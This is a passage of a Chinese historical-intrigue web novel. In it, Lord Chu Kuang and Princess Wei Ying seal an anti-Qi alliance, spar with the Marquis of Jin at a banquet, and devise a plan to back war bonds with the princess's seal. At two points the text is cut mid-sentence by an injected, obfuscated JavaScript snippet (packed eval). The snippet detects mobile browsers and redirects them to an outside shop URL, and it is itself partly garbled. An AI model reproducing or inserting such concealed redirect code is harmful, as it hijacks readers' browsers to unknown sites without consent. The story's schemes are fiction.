幽侯出声质疑后,四下一片静寂,无数视线都如冷箭般扎在储况身上,那视线里满溢的恶意和猜忌,恍若野兽血盆大口,似乎下一瞬就要将他生吞活剥。 储况孤身立于群狼环伺中,面色如常,唇畔微微浮现一抹笑意,仿佛对人心百态都了然于胸,语调从容道,“祁州数万大军兵临我魏州城下,天下诸州,又有谁比我魏州情势更危在旦夕?” 他指向舆图,“此乃魏军斥候舍命探查所得,诸州若有疑虑,大可派人去祁州探查核实,但况在此提醒诸位一句。” 他面上温度如潮水般褪去,“祁侯欲壑难填,战机稍纵即逝,若因互相猜忌而坐失良机,待祁州完全整合了汉州、江平之力,甚至将我魏州也收入囊中的话,祁州将坐拥天下三成的土地、人口,试问天下其余州郡,谁还能与之匹敌?” 聚拢在他身上的视线四散开来,在偌大个会场里互相触碰、流转。 薛明远敛去笑意,不置可否。 而叶峋则凝眸望着舆图上的清河,眉目笼罩着一层阴翳,身边谋士凑近他低语,“虽如此,仍需三思。”可另一人却轻声道,“若祁州打造水师是真,我晋州岂不是坐以待毙?” 此刻,卫瀛开口道,“本宫在京畿时,内廷贡米之中,便有祁西产的羊脂稻,颗粒饱满、醇香四溢,水路运至京畿极快,口感新鲜,所以本宫早就知道,祁州之西是个物产丰饶、货流便利的好地方。” 说罢,掩唇一声嗤笑,“怎么,原来内廷女眷都知道的事,你们这些诸侯竟不知道么?” “呵呵,依本宫看呐,你们不如多吃些天下各地的米、多见些各地的物产,自己多长点见识,何必养什么探子!” 她这一番话,讥讽和鄙夷毫不遮掩,一众诸侯敢怒不敢言。 储况似乎有些为难,无奈的唤了卫瀛一声,“夫人……” 薛明远面色微寒,勾唇冷笑,心道小丫头好一副尖牙利齿。转眼瞧了下身侧,却见外甥留侯肥厚的舌舔了舔唇,短粗的手指压在下巴颌上,对身侧谋士低声私语:“自从她进了魏州,本侯茶不思饭不想,先生可还有什么法子?” 身侧谋士扯扯嘴角,“主公不必心焦,且当做把这‘宝贝’寄存在魏州,日后再来取便是。” 留侯面色登时一亮。 薛明远虽听不清他二人议论何事,但依他对这个外甥的了解,左不过是对这丫头的美色念念不忘。薛明远一时怒起,目光锋利的一扫,留侯身侧谋士见状,忙提醒了一句,留侯这才悻悻然收回了视线。 却听上座的叶峋道,“既如此,这祁州之西,便由我晋州专攻!” 顿了顿,他目光冷淡的投到储况身上,口气轻慢,“还望魏侯,在东南履约牵制祁州主力。” 至此,抗祁方案初定,各方共同草拟了一份盟约,由礼官高声宣告。 盟约里规定了具体的粮草军备筹集运输责任、魏晋等州将派出的兵力多寡,并重点写明:‘各州盟誓,依约履行兵力征集调配、粮饷军资筹运等诸项义务,且日后不论祁州出兵征讨何处,其余盟州皆有义务驰援,共克强祁。上述各项义务,若战况有变,亦可视情微调。’ 卫瀛细细听了一遍,心里一哂,好啊,这‘祸水’终于被储况引到晋州去了,而盟约的最后一句,八成是储况挖的另一个坑,日后各方解读,怕是大不相同啊。 各州诸侯在盟约上加盖印信,储况将印稳稳盖好,瞧了眼墨迹未干的盟约,神色平静无波。 暮色四合,魏州设宴款待各州来客。 宴饮正欢之时,叶峋面朝卫瀛微微颔首,表情疏离,“永固殿下,一别经年,殿下风采更胜了。这魏州的酒,似乎比殿下在京畿常饮的杏花红烈了些,殿下可还习惯?” 卫瀛淡然一笑,“晋侯有心了,此酒乃是魏州产的粟米所酿,魏州水土养人,本宫觉得很好。” “殿下说的是。”叶峋面上浮起浅浅一层笑意,目光不露声色的扫过卫瀛衣裙和簪钗,只见她今日装扮素淡,头面朴素,与往昔简直判若两人。 他略一失神,仿佛又看见那年春猎,有人称赞他的坐骑快如闪电,女眷歇息的凉棚里传出一声娇笑。 他循声望去,只见少女一袭水色宫裙,缀着攀枝荷花纹,鬓边一把点翠蜻蜓步摇,宝石垂珠点在鬓角,容貌明艳,眼波浓丽。 空中一对双飞雁掠过云边,叶峋刚欲搭箭,却听卫瀛道:“那匹马何止快如闪电,还如闪电一般刺眼呢,到处都金光灿灿的,看的人眼睛都要瞎了。” 他冷着脸放下弓,双腿猛夹马腹,头也不回…… 她今日从衣衫到配饰都这般寡淡,他该幸灾乐祸才是,可心底却莫名升起一股难以描摹的烦躁。 叶峋又道:“记得殿下昔日最爱宝石,别说是头面,就连金马镫上都要镶嵌几枚红宝,耀眼夺目……今日这副素玉头面,简朴大气,倒也算有一番风致。” 卫瀛听出他在挖苦自己嫁到魏州这穷地方,笑话她‘今非昔比’,‘落魄’得连头面都用不起红宝了。 呸,她是想着诸侯结盟,她不该打扮得太张扬,才特意挑了副素玉的头面! 卫瀛不由微抬起下巴,扬眉睨着对方,笑意更浓,“怎么,晋侯觉得,本宫戴素玉,不好看么?” 叶峋举着酒杯的指尖微微一颤,没有回答。反而是坐在卫瀛一旁的储况此刻接话道,“殿下风华绝代,珠翠玉石,不及殿下光华半分。” 卫瀛十分受用的笑了笑,手虚虚扶上储况肩头,“魏侯说话,总是这般讨本宫开心,但…是真心话么!别是哄本宫吧?” 若是寻常夫妻,这不过是最普通的一句玩笑,而在卫瀛和储况这对表面夫妻之间,便显得有些越线,显然是有意演戏给在场的人看。 储况心领神会,含蓄一笑,握住卫瀛扶在他肩头的手,“况也许会骗人,但绝不骗夫人。” ‘夫人’二字自他唇齿间流出,柔情缱绻至极,卫瀛却只觉得头皮发麻,好似看见一匹狼嘴边血迹未干,就对着自己眯眼一笑,摇头摆尾,装作粘人的狗讨要怜爱。 而那只握住她的手,看起来修长漂亮,抚琴弄箫再合适不过,此刻将她的手完全覆盖包裹,掌心的热度从相贴的肌肤上源源不断传来,却隐隐有种霸道,仿佛一直要钻进人心里去。 卫瀛笑意微僵,不露声色的把手抽回,在袖底微微蜷缩了下,举杯饮酒。 储况只觉得那柔荑丝绸般从掌心滑走,留下淡淡的空虚感,他手垂下到膝上,不自觉的虚虚一握,仿佛想留住那抹触感。 却听叶峋一声嗤笑,“魏侯得公主下嫁,实在是好福气,只是殿下金枝玉叶,恐怕不适应魏州水土,需得如名卉珍宝一般精心养护才可,想来魏侯要劳心费力了。” 储况微微笑道,“晋侯多虑了,魏州虽与京畿迥异,但殿下乃大启公主,天下何处不是她的水土?更何况,不是魏州水土滋养殿下,而是殿下泽披魏州。” 卫瀛听得心里十分熨帖。储况此人,不论心里怎么想,表面功夫都极漂亮,一番话既给足了她面子,又杀了叶峋威风,而且在诸州面前把魏州摆在了本分臣子的地位,姿态十分恭顺。 叶峋压平了唇角,目露轻蔑,“本侯来时路上瞧着,你这魏州,山林密布,五谷不丰,确实缺些‘福泽’。” 他这般出言不逊,魏州家臣无不面露怒色,但储况眼风微微一扫,家臣只得咽下这口气,老老实实敛目不语。 储况仍是一副笑脸,举起一杯酒敬叶峋。 叶峋见他脾气涵养都极好,甚至有些柔善可欺,不由眉梢一挑,不再多言,但也没有回应储况的敬酒,而是转头举杯自酌。 储况视线悄然在叶峋身上绕了一圈回来,唇畔勾起一抹讥诮冷笑,平日里素 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192594|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来温和的眸子,陡然滑过一丝凌厉的光。 晋侯叶峋,记得她爱喝杏花红,记得她喜欢宝石头面,连她马镫上的装饰都了然于胸…… 怨不得此人对他,有一种没来由的敌意。 储况举起酒,酒香氤氲。哼,看来这晋侯不论如何八面威风,到了他面前,也只是一条吃不到肉就说肉汁肥腻的狗! 再转眸望向卫瀛,此刻在灯火下细细端详。她的容貌如海棠般鲜妍,本来太过张扬,难免显出几分轻浮,但好在她是大启最得宠的公主,再珍贵的东西,到了她面前也不过稀松平常,所以她总是眼睫低垂,眸光慵懒,那几分轻浮让这神态一压,便只剩下夺人心魄的风情。 储况心底一哂,难怪惹那么多人惦记。 清甜的酒水穿喉而过,后口却似乎泛着一股说不清道不明的涩味,在舌尖久久不散…… 会盟既定,各州诸侯即刻离开魏州,按盟约落实粮草、军备,而晋州大军也开始整装集结。 储况连夜传令回襄平,命大将赵玄璋点兵待战。 魏州一行人也立即收拾行囊,准备转日清晨就折返襄平。 天蒙蒙亮,魏州车马集结在筠城城门外,储况看向前方卫瀛的马车,思忖片刻,刚要抬步过去,却见卫瀛从车上下来。 “魏侯,”卫瀛笑着看他,“马车笨重,返回襄平需花费数日之久,但战机岂容延误?魏侯与各位家臣不妨快马先行一步。” 储况方才也是想与卫瀛商讨此事,见她主动提出,便顺势应下,“殿下明断,眼下魏州与祁州大战在即,筠城临近边界,臣不敢让殿下独自返回,不如留下王将军和这两千精锐随行护卫。” 景元帝让她来,势必是想知道会盟上诸侯们的一举一动,放她独行返回,不利于监视。 王昶闻言,上前领命。 却听卫瀛断然拒绝,“不必!眼下魏州大敌当前,百姓最需要的,是有魏侯坐镇、家臣辅佐,王将军和这两千精兵,该保护的是你们,不是本宫。” 此言一出,王昶和将士们也不由面露一丝钦佩之色。 ‘该保护的,是你们…’ 储况神情微微一滞,晨光熹微中,他耳旁却仿佛刮过裹着雪片的寒风。 冷夜的莽原,金鞍白马上的少女红裙似火,破风而来,火把映出她浓丽逼人的脸孔,纤细的身影将他和狼群阻隔,那单薄的臂膊,却一把就将他从死亡边缘拉了回来。 马鞭点在他眉心,‘记着,你这条命是我永固公主从阎王手里抢回来的,我不点头,你不许死!’ 眉心这轻轻一点,仿佛无尽长夜里,天神指缝漏下了一缕光。 储况薄唇微抿,罕见的没有当机立断。 卫瀛又道,“本宫有崔统领带领的这一百亲卫,足矣平安返回襄平。” 随即一笑,“天下还没大乱呢,魏州又是你的地盘,怕什么!” 储况思绪回笼,又望了望对方。 罢了,魏州在会盟上并无异常举动,再者以这位公主的心性,暂时也不会对魏州不利,她话已至此,再推脱无益。 储况便带领一众家臣,由两千精兵护卫日夜兼程,不日抵达了襄平。 这日午后,留守襄平的家臣都早就得了消息,在城门外恭迎储况回城。 很快,一行人的身影出现了城外官道上,到了城门前,储况翻身下马,与家臣寒暄几句,队列之中,唯有周延一言不发,素来油滑的他,此刻却连一丝笑意也挤不出,整个人被乌云般的沉郁之色笼罩。 等送储况到了侯府外,一众家臣行礼散去,周延顿了顿,上前对储况施礼道,“主公,臣有要事禀报。” 储况看破他心事,“是不是与得胜契有关?” “正是!”周延神色急切,眼底甚至流露出来一丝惊惧。 “来流觞榭。”储况转身入府。 28. 第 28 章 流觞榭。 周延立在储况面前,“主公,得胜契……推行遇阻,百姓们虽有兴趣,但大多在观望,购买者不足一成。而之前借助商贾们运来的粮食,还有三成的银钱没有支付,仅兑现了盐引,商贾们已经开始不满州府了。眼下赵将军已经按您的指令开始点兵了,照这样下去,这第一批军饷,魏州根本无法在出征前筹齐!” 储况眸光沉了沉,却没有什么意外之色,面上只有一派冰冷的洞悉,仿佛对这些都了然于胸。起身漫步至窗边,窗外竹林渐染枯黄之色。 他背对周延道,“百姓的顾虑,无非有二。其一,若魏州抗祁失败,不但州府垮台,连本侯也是死路一条……” 顿了顿,又道,“其二,即便险胜,魏州也元气大伤,州府财税只怕多年难以恢复,而然后呢,谁能保证没有下一个‘祁州’虎视眈眈?” 一片竹叶被秋风扫入窗棂,划过储况身侧,被他信手捏住,“所以纵使有州府财税收入为财源,本侯印信作保,也难让百姓买账。” 周延不敢接话,但确实如储况所言,百姓的确对此,心存顾虑。 储况回身一笑,“解决之法,不外乎两条路,第一条,解除对富户商贾的各项购买限制,以利诱之,除去利钱和优先购买战利品的资格之外,再许以日后的铁矿专营之权,不怕那些商户不动心。” “第二条嘛,本侯自会交给适合的人来办,就与府库司无关了……” 周延颔首,“主公英明,听您有了成算,臣这颗心,可算咽回肚子了!” 却见储况微微摇头,“这第一步,过度让利,是饮鸩止渴,眼下虽能解燃眉之急,但有损魏州根基,是下下之策。” “而且,”储况把玩着手里的竹叶,“此计一出,势必引来一群趁火打劫的商贾,眼下魏州需要他们,可这等吸血的蝇虫,日后绝不能留!待魏州强盛之后,需要寻些由头,将蝇虫一只只碾死,得胜契和许诺的铁矿之利,也就不用兑现了。只是…这样恐惹非议、易失民心,本侯也不愿造太多杀业。” 周延眼角猛地一抽,只觉一股凉意嗖的从头皮窜到了尾巴骨。 他立即垂下眼,唯恐让储况瞧见他眼底的恐惧。 日后这‘碾死’蝇虫的差事,八成会落到他头上,这等阴损之事,办成了也不算什么功劳,若办砸了…… 周延眸子一转,“呃,主公,臣想起来,公主殿下之前曾说过,若是‘诸侯之信’和‘财源之信’,仍不能取信于百姓,她还有后手!殿下既然敢放话出来,想必…有更绝妙的破局之法!” 笃、笃、笃,储况指节轻叩着窗框,“可,那府库司这边,暂时按兵不动,一切…等公主回来,再行定夺。” 周延领命,却并未立即躬身告退,立在原地若有所思。 储况眼风扫过他面上,“还有何事?” “唔,”周延犹豫道,“…日前林库尉私下向臣汇报,说他在府库司值房核对债契编号时,隐约觉得底档有被翻动的痕迹,他素来仔细,不敢隐瞒,但并无证据…臣已命他再次核查,并加强了值房看守…” 州府为防止债契伪造,每张债契都在不显眼处印有半阙编号,而余下半阙则记录在底档中,日后承兑时需一一验证无误,方可兑付银钱。 储况眉梢微挑,淡淡道:“林均文行事谨慎,此事宁可信其有,即日起,所有接触核心文书之人,出入皆需记录,定期上报备案…凡涉得胜契印制、存放及运输之人,都需重新核验身份。” 周延这才告退。 离开流觞榭走在竹海小路上,风一吹,他才惊觉自己后背早已湿透。 回头看向竹海最深处,不由慨叹一声,魏州的富商们也许永远都不会知道,方才他们的身家性命,只在主公的一念之间! 周延离开后,储况立在窗前,将竹叶轻轻扔开,缓声唤道,“下来。” 房梁上忽的闪出一个身影,如竹叶般落在储况面前,正是他的贴身护卫——逐影。 “主人,有何吩咐?”半大少年跪地道。 “去,传话给昆仑山人,把江平王毒杀难民的罪名,扣到祁侯头上,让天下教众散布出去,尤其让魏州百姓知道,祁侯视百姓性命如草芥,若祁州日后胜出,势必屠城劫掠,魏州将生灵涂炭,眼下若不倾力支持魏州,只有死路一条!” 逐影领命,离开时依旧悄无声息。 “如此一来,第二条路,已经托付给乾坤教了……”他喃喃道,露齿一笑,“魏州百姓大概会怕得夜不能寐吧……罢了,无所谓。” 储况在窗前坐下,疏落的竹影投在他身上,斑斑驳驳,仿佛用撕碎的神仙画像,精心拼凑出的一副画皮…… 三日后,卫瀛马车返回襄平。 沐云馆。 卫瀛尚未来得及梳洗一下,储况便带着周延登门了。 储况仍是那副温和模样,口气十分恭敬的关怀卫瀛,又提及那日卫瀛让将士护卫他前行折返一事,再度诚谢。 卫瀛却瞧向他身后,只见周延干巴巴扯着嘴角,强颜欢笑。 “魏侯的心意,本宫领情。”卫瀛打断储况的寒暄,“说正事吧,得胜契怎么了?” 周延一听,忙看了储况一眼,见储况微微颔首,他才上前将得胜契遇冷的事全盘托出。 “哦,这个啊。”卫瀛也和储况一样的毫不意外。 周延嘴角抽了抽,他这些日子都急出了满口燎泡,这夫妻俩却一个赛一个的淡定,啧,倒是挺默契。 只听卫瀛道,“本来嘛,本宫觉得,有魏侯的印信和州府的财税作保,应该足够了…” 叹了口气,“唉,不想,大战在即,百姓的顾虑,比本宫料想的还要重啊。” 说罢,抬手扶额,一脸愁容却不再继续。 储况见她分明是在引诱自己开口,但也不得不照做,“殿下,听闻殿下之前就曾说过,您还有‘最后的法子’。” 卫瀛放下手,坐直了身子,面露几分犹豫,“虽说如此,可这法子,本宫不到万不得已,也不想用的。” 储况自然明白她在演戏,可也只得拿出‘三顾茅庐’的诚意,耐心道,“殿下若有妙计,还望不吝赐教,救魏州于水火,况在此先行谢过。” 说罢,朝卫瀛行了个大礼。 卫瀛看着他的发顶,并没有伸手去扶,坦然的受了这个礼。 笑道:“魏侯不必如此,魏州如今也是本宫的家呢,救魏州,本宫义不容辞。” 随即正了正神色,“本宫的最后法子,乃是以永固公主的身份,公开承诺,一旦魏州州府和魏侯无力偿还,本宫将以所有食邑、全部财产代为兑付。” “换言之,本宫要以大启的名义,给得胜契作保!” 她是大启公主,绝对的正统,大启如今虽然式微,但在百姓心里,卫氏仍是天下之主。 储况眸色倏地一暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204519|195215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,默然不语。 周延却眼睛一亮,“呃,那在契书上写明…” “不,”卫瀛笑道,“不仅要写出来,还要让百姓一目了然。” 周延仍是疑惑,“如何让百姓一目了然?” 只听卫瀛道,“以后,每张得胜契,除了州府印、魏侯印,最后加盖上本宫的凤印!” 周延此刻也略微咂摸出一丝异样,看向储况,只见储况素来目光如春水的凤眸,此刻却透出几分刀剑般的锐利。 储况上前半步,唇角微勾,眉梢眼角却无丝毫笑意,眸光更是锐利如鹰隼,“殿下,这是要与我魏州,死生同契?” “怎么,”卫瀛明媚笑脸相对,“有魏侯在,魏州难道会输么?” 语调娇嗔,满是挑衅。 储况面上表情如潮水般褪去,只余下一片空白。 眼下的征战在即,他原本利用富商的想法不仅是饮鸩止渴,日后还恐失民心。而她的这个法子,也是蜜糖里裹着‘砒霜’。 但,她这‘砒霜’毒的是肺腑,躯体尚能行动如常,而那‘鸩酒’,则毁的是魏州根基…… 沉默过后,储况面上旋即恢复了温度,好似阳春三月般和煦,俨然还是那个润泽如玉的魏州储郎,“殿下妙计!臣这就令手下拟就告示,将得胜契将加盖凤印一事,告知魏州百姓。” “不必。”卫瀛冷傲一笑,“本宫有更好的法子。” …… 州府士卒早就在各处贴好告示,告知魏州百姓:七日后,永固公主将在襄平城中心闹市,亲自宣读一则有关得胜契的懿旨。 随后几日,城中繁华最胜处,搭建起来一座高高的台子。 且不论得胜契,单说能亲眼看见天子最宠爱的永固公主真容,就足以让全襄平的百姓翘首以盼了。 这日一早,襄平城人头攒动,百姓纷纷上街围拢在高台周围,踮脚仰头的等着公主銮驾,维持秩序的州府士卒甚至都达万人之众。 沐云馆,崔朔立于门外静候。 内室花窗前,卫瀛正微微侧头让玉扇帮她理好步摇流苏,烟素悄声从外间进来,面色凝重,伏到卫瀛耳边低语,“公主,刚得的消息,府库司一个库房昨夜走水,烧毁了一批新制的得胜契。如今外面已经传开……说此乃不祥之兆。” 玉扇手一顿,惊疑不定的瞧着卫瀛。 “不祥?哼,这分明是有人坐不住了。”卫瀛眸子清明如镜,映着窗外朗朗天光,面上毫无波澜,“魏侯那边,可有动静?” 烟素缓缓摇头,“只命人封锁火场,严查纵火者,但……至今仍未遣人来沐云馆通报,今日仪式也并没有推迟的消息。” 卫瀛唇角勾起一道凌厉的弧度,“他不会派人来的,他这是在告诉本宫,今日仪式箭在弦上,不得不发。” 嗤笑一声,“他也要祁州看清楚,这样的小把戏,连让魏州皱眉的资格都没有。” 玉扇忍不住急道,“可是公主,您公开昭告为得胜契做保,这个消息只怕已经天下皆知…而昨夜出了这样的事,今日恐生不测!不妨推迟两日,待局面安稳下来,再作保不迟啊!” “安稳?强敌在前,何时、何处能安稳?”卫瀛仰面一笑,目光灼灼似火,“怕什么!敌人越是不想让我们做成的事,越要做得轰轰烈烈!本宫若在此退缩,才是着了他们的道。” 转头朝崔朔一声令下,“崔统领,清点亲卫人马,即刻出发!”